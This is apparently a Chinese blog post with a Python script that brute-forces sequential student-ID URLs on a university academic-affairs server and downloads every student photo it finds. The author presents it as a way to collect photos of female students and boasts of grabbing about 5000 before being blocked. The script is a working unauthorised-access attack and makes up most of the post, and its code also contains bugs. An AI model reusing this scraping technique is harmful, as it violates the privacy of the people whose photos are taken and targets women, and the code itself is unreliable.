python获取教务管理系统的MM照片
前提:你的教务管理系统是明文存储大家的图片,加密的图片就不好弄了...
也就是能够通过浏览器直接访问...技术上就不存在什么问题了...如果是学号存储的就更方便了
然后我们就可以写个小脚本了...其实就是直接url获取然后保存在本地...
第一个python小脚本...练手玩一玩...
如果要效率高可以用多线程...
大家就可以愉快的找到MM的照片啦! 不要太过火哟...我下载到5000张的时候就被远程停止了...sad...
1 import urllib.request 2 3 for i in range(10,10000): 4 name = "http://www.xx.edu.cn:8081/_photo/student/20110000" 5 tmp = '%d'%i 6 while(len(tmp) < 4): 7 tmp = "0" + tmp 8 name = name + tmp + ".jpg" 9 print(name) 10 try: 11 socket = urllib.request.urlopen(name) 12 except: 13 print(name+"not exist") 14 finally: 15 data = socket.read() 16 path = r"F:\pic\" 17 path = path + tmp + ".jpg" 18 print(path) 19 with open(path,"wb") as jpg: 20 jpg.write(data) 21 socket.close()
解释一下...我是用python3.3 2.X的用户要用import urllib2
4-8行都是处理url字符串的...9行可要可不要
10行是测试该url是否可访问
14行之后就是保存到本地了
纯粹学术交流,请大家不要用于攻击等行为